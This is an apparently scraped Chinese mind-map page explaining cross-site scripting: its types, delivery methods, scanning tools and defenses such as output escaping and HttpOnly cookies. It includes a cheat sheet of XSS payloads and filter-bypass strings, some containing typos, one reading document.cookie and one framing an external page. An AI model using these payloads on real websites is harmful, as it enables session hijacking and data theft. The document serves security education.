跨站脚本攻击
2019-08-21 13:09:50 2 举报
AI智能生成
登录查看完整内容
XSS 跨站脚本攻击
作者其他创作
大纲/内容
跨站脚本攻击XSS:Cross Site Scripting
什么是XSS攻击
攻击者利用站点的安全漏洞往Web页面中插入恶意的html代码或js脚本,当用户浏览该页时,嵌入Web页面的攻击脚本会被执行,达到攻击目的。
因为这种攻击是通过别人的网站脚本漏洞达到攻击的效果,就是说可以隐藏攻击者的身份,因此叫跨站攻击。
XSS攻击的危害
窃取用户身份和机密数据(信用卡详细信息)
绕过网站的限制
会话劫持(偷窃会话)
恶意软件攻击
破坏网站页面
DoS攻击
XSS攻击的类型
持久性XSSPersistent XSS或Stored XSS
攻击者把恶意代码提交给服务器,该代码将在所有的页面中被运行。比如:用户为商品提交的评价,如果攻击者提交了注入脚本的评价信息,而网站本身又没有进行相应的输入校验,当其他的用户看到这个评价的时候,脚本将会被执行。试想如果这段注入脚本是窃取用户cookie信息的代码,攻击者将会获其他用户的账户信息等。
一般存在于富文本等交互功能,如发帖留言等,黑客可以用XSS内容经正常功能进入数据库持久保存
非持久性XSSNon-Persistent XSS或Reflected XSS
构造URL欺骗用户点击,URL中构造的参数值,没有进行任何过滤和转义处理就立即显示在页面上。
另外一种情况就是在检索中注入XSS脚本。
基于DOM的XSS
document.write()
eval()
.innerHTML
基于JS脚本操作document对象及URL
高级攻击技术
绕过PHP中的magic_quotest_gpc
通过ASCII字符绕过过滤器<script>alert(\"hi\
通过HEX编码绕过过滤器<script>alert(\"HI\");</script>->%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%22%48%69%22%29%3b%3c%2f%73%63%72%69%70%74%3e
通过迷惑字符绕过过滤器<script>alert(\"HI\");</script> -> <ScRipt>ALeRt(\"hi\")</sCRipT>
使用结束tag\"><script>alert(\"Hi\");</script>
XSS攻击的传送机制
非持久性XSS或基于DOM的XSS
可以向个体目标用户或少数几名用户发送一封伪造的电子邮件
通过即时消息向目标用户提供一个URL
付费购买许多链接至一个URL的横幅广告
持久性XSS
漏铜数据通过主WEB界面提交给应用程序
通过其他渠道向应用程序提交漏洞数据的情况.比如:WEB邮件
检测工具
Nessus被认为是目前全世界最多人使用的系统漏洞扫描与分析软件
IBM Rational APPScan
Acunetix WVS
HP Inspect
XSS Me(FireFox插件)
常见攻击代码
普通的XSS
<script>alert(\"XSS\");</script>
\"><script>alert(\"XSS\")</script>\"
Script标签内
</script><script>alert(1)</script>';alert(1);‘)alert(1);//
大小写不敏感
<ScRiPt>alert(1)</sCriPt><IMG SRC=jAVasCriPt:alert('XSS')>
IMG标签
<IMG SRC=''javascript:alert('XSS');\"><IMG SRC=''javascript:alert("XSS");\"><IMG SRC=''javascript:alert('XSS')>
<img src=xss onerrir=alert(1)><IMG \"\"><SCRIPT<alert(\"XSS\")</SCRIPT>\
<IMG SRC=\"JAV	ascript:alert(\"XSS\");\">
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=javascript:alerj('XS')>
<IMG SRC=javascript:alert('XSS')>
HTML标签
<BODY BACKGROUP=\"javascript:alert(\"XSS\")\">
<BODY ONLOAD=alert(\"XSS\")><INPUT TYPE=''IMAGE\" SRC=\"javascript:alert(\"XSS\");\"><IMG SRC=\"javascript:alert(\"XSS\")\"
<iframe src=http://ha.ckers.org/scriptlet.html<
绕过过滤器
<<SCRIPT>alert(\"XSS\");//<</SCRIPT>
%253cscript%253ealert(1)%253c/script%253e
\">s\"%2bcript>alert(document.cookie)</script>
foo<script>alert(1)</script>
<scr<script>ipt>alert(1)<scr=</script>ipt>
String.fromCharCode
防御技术
基于防御
除非是允许的地方,其他地方不要插入不信任的数据
脚本<script>...NEVER PUT UNTRUSTED DATA HERE...</script>注释<!--...NEVER PUT UNTRUSTED DATA HERE...-->样式<style>...NEVER PUT UNTRUSTED DATA HERE...</style>
在HTML元素中插入不信任的数据要做HTML转义&--》&<--><>-->>\"-->"'-->'/-->/
标签的属性
CSS的属性
URL
基于DOM的XSS的防御
将不信任的数据插入到HTML之前使用HTML转义/JavaScript转义element.innerHTML=\"<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%\";
将不信任的属性设置给标签属性前使用JavaScript转义x.setAttribute(\"value\
特别注意将不信任的数据插入事件处理或JavaScript代码中
将不信任的数据设置到CSS属性之前使用JavaScript转义document.body.style.backgroundImage=\"url(<%=Encoder.encodeForJS(Encoder.encoderForUrl(companyName)))%>\";
将不信任的数据设置到URL属性之前使用URL转义和JavaScript转义x.setAttribute(\"href\
使用HttpOnly cookie
有助于阻止攻击者使用XSS漏洞实施会话劫持攻击。
在Set-Cookie消息投中标记为HttpOnly:Set-Cookie:SessId=12d1a1f856ef224ab424c2454208ff;HttpOnly;
当一个cookie标记为Http时,支持它的浏览器将阻止客户端JavaScript直接访问该cookie
0 条评论
回复 删除
下一页